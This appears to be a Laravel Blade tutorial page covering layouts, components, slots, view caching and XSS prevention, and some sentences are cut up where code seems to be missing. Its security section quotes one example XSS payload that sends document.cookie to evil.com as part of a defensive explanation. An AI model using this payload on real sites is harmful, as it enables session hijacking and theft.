Laravel Blade XSS: {!! !!} Hijacked Admin Sessions
A developer used {!! !!} rendering user bio raw, causing XSS that exfiltrated admin cookies.
20+ years shipping production PHP systems at scale. Everything here is grounded in real deployments.
- Layouts define the HTML shell once — nav, footer, head. Child views extend layouts and fill yield points.
- Components are reusable UI elements with a PHP class (logic) and a Blade view (markup). Props and slots pass data.
- Directives (@if, @foreach, @forelse, @yield, @section) replace raw PHP in templates.
- @extends('layouts.app') — child declares its parent layout
- @yield('content') — layout marks injection points
- @section('content') ... @endsection — child fills yield points
— component invocation with props - $slot — default slot content inside component tags
Imagine your website is a house. Every room (page) has the same walls, roof, and foundation — but different furniture inside. Blade is the architect's blueprint that lets you draw the foundation once and then just describe what furniture goes in each room. You never redraw the walls. That's it. One master layout, infinite unique pages built on top of it.
Every professional Laravel application you've ever used — from SaaS dashboards to e-commerce stores — relies on Blade to keep its HTML sane. Without a templating engine, you'd copy-paste your navbar and footer into every single file. Change one link in that navbar? Now you're editing 40 files. Blade exists so that never happens to you.
Blade compiles templates into cached PHP files. The first request compiles the .blade.php file and stores the result in storage/framework/views/. Subsequent requests serve the compiled PHP directly — no re-parsing. This means Blade adds near-zero runtime overhead compared to raw PHP. The compilation cost is paid once per template change.
The architectural decisions you make in Blade — layout depth, component granularity, slot design — directly impact maintainability, testability, and rendering performance at scale. A poorly structured Blade hierarchy with 4 levels of nested layouts and 200-line component files becomes unmanageable after 6 months of feature development.
How Laravel Blade Templates Actually Render
Laravel Blade is a templating engine that compiles plain PHP into cached views. Its core mechanic: double curly braces {{ }} automatically escape output via htmlspecialchars, preventing XSS. Single curly braces with exclamation marks {!! !!} output raw, unescaped HTML — a deliberate bypass for trusted content.
Blade compiles .blade.php files into cached PHP scripts stored in storage/framework/views. On first request, it compiles and caches; subsequent requests serve the cached file until the template is modified. This gives O(1) view rendering after the initial compile. Key directives like @if, @foreach, @section map directly to PHP control structures with no runtime overhead.
Use Blade when you need server-side rendering with built-in escaping. It's the default for Laravel apps because it prevents the most common XSS vector: unescaped user input in HTML context. In production, always use {{ }} for dynamic content unless you explicitly trust the source — even then, consider a custom sanitizer instead of raw output.
Blade Layouts: The Master Template Pattern Every App Needs
The layout system is Blade's most important feature and the one most developers underuse. The idea is simple: you define one 'master' layout file that contains your HTML skeleton — doctype, head, nav, footer — and you mark certain regions as 'yield points' using @yield. Child views then 'extend' that master and fill in those yield points using @section.
This is a parent-child relationship. The parent (layout) owns the shell. The child (page view) owns only its content. The child can't accidentally break the nav because it never touches it.
There are two flavours here worth knowing: @yield with a default fallback value, and @section with @show (which renders the section immediately, useful for things like a default sidebar). Most developers only learn @yield and miss the @show trick entirely.
Nested layouts: Production applications often use nested layouts — a base layout (HTML skeleton), an app layout (adds auth navigation), and a section layout (adds sidebar). Each level adds its own structure and yields to the next. The trade-off: deeper nesting means more files to navigate when debugging a missing yield point. Keep nesting to 2-3 levels maximum.
@section with @show vs @yield: @section('sidebar') Default sidebar content @show renders the section immediately AND makes it overridable. @yield('sidebar') only renders if the child provides it. Use @show for sections with meaningful defaults (sidebar, breadcrumbs). Use @yield for sections that have no sensible default (page content).
- A single layout forces every page to share the same navigation — authenticated and public pages need different navs.
- Nested layouts let you compose: base (HTML skeleton) -> app (auth nav) -> dashboard (sidebar).
- Each level yields to the next. The child only needs to extend the most specific layout.
- Trade-off: deeper nesting means more files to check when a yield point is missing.
Child Views, @section and @parent — Writing Pages That Don't Repeat Themselves
Now that the master layout exists, every page in your app just needs to extend it and fill in the blanks. The @extends directive is always the very first line of a child view — nothing can come before it, not even whitespace, or you'll get unexpected output in your HTTP headers.
The real power move here is @parent. Imagine your layout defines a default sidebar in a section. A specific page wants to keep that default sidebar AND add something extra to it. @parent lets you render the parent's version of the section and then append to it. Without @parent, you'd completely override the parent content.
This pattern becomes essential in admin panels where a global sidebar exists in the layout, but certain pages (like the settings page) need to inject extra sidebar links without nuking the global ones.
@push and @stack: For pages that need to inject scripts or styles at specific points, @push('scripts') and @stack('scripts') are cleaner than @section/@yield. Multiple child views can @push to the same stack, and the layout renders all of them. This is ideal for page-specific JavaScript that should load after the global scripts.
View composers: When multiple views need the same data (e.g., a list of categories for a sidebar), view composers inject that data automatically without the controller needing to pass it to every view. Register view composers in AppServiceProvider or a dedicated ComposerServiceProvider.
- @section/@yield is for content that replaces a region (page content, title).
- @push/@stack is for accumulating items (scripts, styles, meta tags).
- Multiple views can @push to the same stack — all items are rendered in order.
- Use @stack for scripts: the layout defines @stack('scripts') and each page @pushes its own script.
Blade Components — Reusable UI Pieces With Real Logic Attached
Layouts handle page structure. Components handle reusable UI elements — things like alert boxes, modals, buttons, cards. A Blade component is a combination of a PHP class (for logic) and a Blade view (for markup). This separation of concerns is what makes components more powerful than simple @include.
When you run php artisan make:component AlertMessage, Laravel creates two files: app/View/Components/AlertMessage.php and resources/views/components/alert-message.blade.php. The PHP class handles data manipulation, and the view handles presentation.
Components accept data through props (typed attributes declared in the class) and content through slots. The default slot is whatever you put between the opening and closing component tags. Named slots let you inject content into specific regions of a component — just like @yield does for layouts, but scoped to that one component.
Anonymous components: For purely presentational elements (buttons, dividers, badges) with no logic, anonymous components skip the PHP class entirely. Place a Blade file in resources/views/components/ and invoke it with <x-button>. Props are passed via the @props directive at the top of the file.
Component performance: Component constructors are called on every render. If a constructor runs a database query, that query executes on every page render — even if the component's output is cached. Move expensive operations to view composers or lazy-load them with @aware (Laravel 10+).
- Anonymous components: purely presentational, no logic, just markup with props. Use for buttons, dividers, badges.
- Class-based components: need validation, computed properties, or conditional logic. Use for alerts, modals, data tables.
- If you need a
match()statement or validation in the component, use a class. If it's just HTML with variable substitution, use anonymous. - Anonymous components are defined with @props at the top of the Blade file. No PHP class is generated.
match() statements and conditionals into the PHP class, not the Blade file. Anonymous components are for pure presentation. Named slots let components expose multiple content regions.Component Views, Slots and Using Components in Real Pages
The component view file is where your HTML lives. It receives all public properties from the PHP class automatically as variables. The special $slot variable holds whatever content you placed between the component tags when you used it.
Named slots let your component expose multiple content regions. Think of a card component that has a header slot, a body slot (the default $slot), and a footer slot. The page using the card decides what goes in each region — the component just provides the structure.
Anonymous components (created without a PHP class, just a Blade file in resources/views/components/) are great for purely presentational things like buttons or dividers where there's no logic involved. If it needs logic, use a class-based component. If it's just markup with props, use an anonymous component.
Slot scoping and attributes: Slots receive the parent's variable scope by default. If the parent has $user available, the slot content can access $user. Named slots can also receive data from the component via scoped slots — the component passes data to the slot, and the slot content can access it. This is useful for rendering lists where the component controls the iteration but the caller controls the item template.
Component attributes ($attributes): The $attributes variable captures any HTML attributes passed to the component that are not declared as props. Use $attributes->merge() to combine caller-provided attributes with component defaults. This enables the component to accept arbitrary HTML attributes (class, id, data-*) without declaring each one as a prop.
- The default slot ($slot) is everything between the component tags that is NOT inside a named <x-slot>.
- Named slots (<x-slot name="header">) inject content into specific regions of the component.
- The component controls WHERE each slot renders. The caller controls WHAT each slot contains.
- Use @isset($slotName) in the component view to check if a named slot was provided before rendering it.
Blade Compilation, Caching, and Performance Tuning
Blade compiles .blade.php files into plain PHP files on first render. The compiled files are stored in storage/framework/views/ and served directly on subsequent requests. This means Blade adds near-zero runtime overhead — the compilation cost is paid once per template change.
Compilation lifecycle: On first request, Laravel checks if a compiled version exists in storage/framework/views/. If not (or if the source .blade.php is newer than the compiled file), it compiles the template. The compiled file is a standard PHP file that echoes HTML and executes PHP blocks. Subsequent requests include the compiled PHP file directly — no Blade parsing occurs.
Cache in production: In production (APP_DEBUG=false), Laravel caches compiled views aggressively. The view:cache artisan command pre-compiles all templates, eliminating the first-request compilation penalty. Always run php artisan view:cache during deployment.
Cache clearing pitfalls: php artisan view:clear deletes all compiled views. The next request triggers recompilation of every template — this can cause a latency spike on the first request after cache clear. In production, always run view:cache immediately after view:clear to pre-compile.
OPcache interaction: PHP's OPcache caches the compiled PHP bytecode. When Blade compiles a template to PHP, OPcache caches that PHP file's bytecode. This means Blade templates benefit from both Blade's compilation cache AND PHP's OPcache. Restarting PHP-FPM clears OPcache, causing a latency spike on the next request.
- view:clear deletes all compiled templates. The next request triggers compilation of every template.
- Compilation is CPU-intensive — compiling 50 templates can take 200-500ms.
- If 100 concurrent users hit the site simultaneously after a cache clear, all 100 requests trigger compilation.
- Always pair: php artisan view:clear && php artisan view:cache. This pre-compiles everything before users arrive.
Security: XSS Prevention, Output Escaping, and Template Auditing
Blade's default output directive {{ $variable }} automatically escapes HTML using htmlspecialchars. This is your primary defense against XSS (Cross-Site Scripting) attacks. The unescaped directive {!! $variable !!} renders raw HTML without escaping — it is equivalent to raw SQL and should be treated with the same caution.
XSS attack vector: A user submits a profile bio containing <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>. If the bio is rendered with {!! $user->bio !!}, the script executes in every visitor's browser. If rendered with {{ $user->bio }}, the script tag is escaped to <script>...</script> and displayed as harmless text.
When {!! !!} is acceptable: Only when the content has been explicitly sanitized with HTMLPurifier or generated by your own trusted code (e.g., a CMS rich text editor that sanitizes on save). Every {!! usage should have a comment explaining why it is safe.
Audit strategy: Run grep -rn '{!!' resources/views/ to find all unescaped output. Each occurrence should be reviewed: is the data user-submitted? Has it been sanitized? Is there a comment explaining the safety? Add a CI lint rule that flags new {!! usages in pull requests.
Attribute injection: Even with {{ }}, attributes can be exploited. href="{{ $url }}" is safe if $url is validated. But href="javascript:{{ $url }}" allows code execution. Always validate URLs server-side before rendering them in href attributes. Use Laravel's validated URL helper or the URL validation rule.
- {!! !!} renders raw HTML — it does not filter dangerous tags or attributes.
- HTMLPurifier parses the HTML, strips dangerous elements (<script>, <iframe>), and allows only safe tags.
- Without HTMLPurifier, {!! !!} on user content is an XSS vulnerability.
- Configure HTMLPurifier with a strict allowlist: only p, b, i, a[href], ul, ol, li.
What Blade Actually Is (And Isn't)
Blade is not magic. It's a PHP preprocessor that compiles your .blade.php files into raw PHP, cached in storage/framework/views/. Every @if, @foreach, and {{ $var }} becomes a plain PHP construct. That's it. No runtime overhead, no interpreter layer.
Why this matters: when you see "Blade directive", you're looking at syntax sugar for PHP. The cache files are executable PHP — open one sometime. You'll see exactly what your template becomes. That's why Blade is fast. It's not doing anything clever at runtime.
The trap: thinking Blade is a separate language. It's not. You can drop raw PHP anywhere with @php. If a directive doesn't exist, write a raw block. The only rules are: files end in .blade.php, and you inherit from layouts or components. Everything else is PHP with cleaner syntax.
php artisan view:clear in deployments, you're nuking all cached templates. That forces a recompile on the first request — a 50-200ms hit depending on page complexity. Cache warming scripts exist for a reason.Rendering a Blade View From a Controller — The Minimal Path
You've got a controller. You need a view. Here's the zero-bullshit way: return view('products.index', $data);. Laravel maps the dot notation to resources/views/products/index.blade.php.
The second parameter is an associative array. That array becomes variables in your template. $data['title'] becomes {{ $title }}. Watch the scope: only pass what the view needs. Don't dump entire Eloquent models unless you're deliberately debugging.
Senior move: use or Laravel's service injection if you're passing the same data to multiple views. But for a single page? Just pass the array. view()->composer() is your friend. compact()User::all() inside a view is not — controllers fetch data, templates display it.
dd() in your controller before the return to inspect what's being passed: dd($products->toArray(), $pageTitle). Saves an hour of wondering why a variable is null in the template.Common Blade Directives — The 20% You Use 80% Of The Time
Don't memorize the whole directive list. You need four categories: output, conditionals, loops, and includes. Everything else is nice-to-have.
Output: {{ $var }} escapes HTML. {!! $var !!} does not — only use this when you trust the source completely (e.g., Markdown rendered to HTML on your server). @verbatim stops Blade from parsing a block, useful for JavaScript frameworks.
Conditionals: @if, @elseif, @else, @endif. @unless($condition) is the inverse — runs when false. @isset($var) and @empty($var) save you from ternary hell.
Loops: @foreach($items as $item), @forelse($items as $item) with @empty fallback, @while. @loop gives you access to $loop->first, $loop->last, $loop->iteration — invaluable for CSS class toggling.
Includes: @include('partials.card') pulls in another view. @each is a legacy pattern — use @foreach with @include for clarity.
Real rule: if you're writing more than three nested directives, extract a component. Your future self will thank you.
@dump($var) or @dd($var) in your Blade template to inspect variables mid-render. It's the equivalent of dd() in a controller — great for debugging, never commit it.{{ }}, @if, @foreach, and @include. That's 90% of real-world Blade usage. Learn the rest when you need it.Final Thoughts: Blade Is a Compiler, Not a Template Engine
Most PHP templating systems parse and render on every request. Blade compiles templates into raw PHP bytecode once, then caches them. That means every @if, @foreach, and @section becomes plain PHP by the time it hits the interpreter. There is zero runtime overhead — the same as writing PHP inline, but with cleaner syntax. This distinction matters when reasoning about performance: Blade doesn't “run” templates, it executes compiled PHP files. The caching layer is automatic but can be manually cleared with Artisan. Layouts, components, and directives all become regular PHP functions and strings. Understanding this lets you profile Blade applications correctly — the bottleneck is never Blade itself, but the database or view logic inside the template. When a user reports a slow page, check the compiled view directory first. If the cache is stale or missing, Blade recompiles on the fly. For production, ensure your deployment script clears the Blade cache once and leaves it warm.
php artisan view:clear before warming the cache with a health check.GitHub Example: Real-World Blade Component for Alerts
A common pattern in production apps is a reusable alert component that supports multiple types (success, error, warning) and auto-dismissals. Instead of duplicating HTML across 50 views, create one Blade component. First, define the class in app/View/Components/Alert.php. Use a constructor to accept type and message. The method returns the component view. In the Blade template for the component, use render(){{ $message }} — already escaped. Use {{ $type }} to toggle CSS classes and icons. Then use <x-alert type="success" message="User saved" /> anywhere. To add auto-dismiss, include Alpine.js with x-data="{ show: true }" and x-show="show". This reduces template bloat and enforces consistent UI. The example below shows a working alert component with dynamic classes — exactly what you'd push to a GitHub repo.
type variable. Always validate against a whitelist inside the component to prevent CSS injection.XSS Vulnerability in User Profile Bio Renders Admin Session Hijack
- {!! !!} is the equivalent of raw SQL — it bypasses all safety mechanisms. Every usage must be auditable and justified.
- User-submitted content must ALWAYS be rendered with {{ }} (escaped) or sanitized with HTMLPurifier before using {!! !!}.
- Run grep -r '{!!' resources/views/ periodically to audit all unescaped output. Each occurrence should have a comment explaining why it is safe.
- Add a CI lint rule that flags new {!! usages. Treat them like raw SQL — they require explicit approval.
- Admin pages that display user content are high-value targets. Admin session cookies are the crown jewels.
head -c 20 resources/views/products/index.blade.php | xxdphp artisan view:clear && php artisan view:cache 2>&1Key takeaways
match() statements and conditionals into the PHP class, not the Blade file.Interview Questions on This Topic
Frequently Asked Questions
20+ years shipping production PHP systems at scale. Everything here is grounded in real deployments.
That's Laravel. Mark it forged?
11 min read · try the examples if you haven't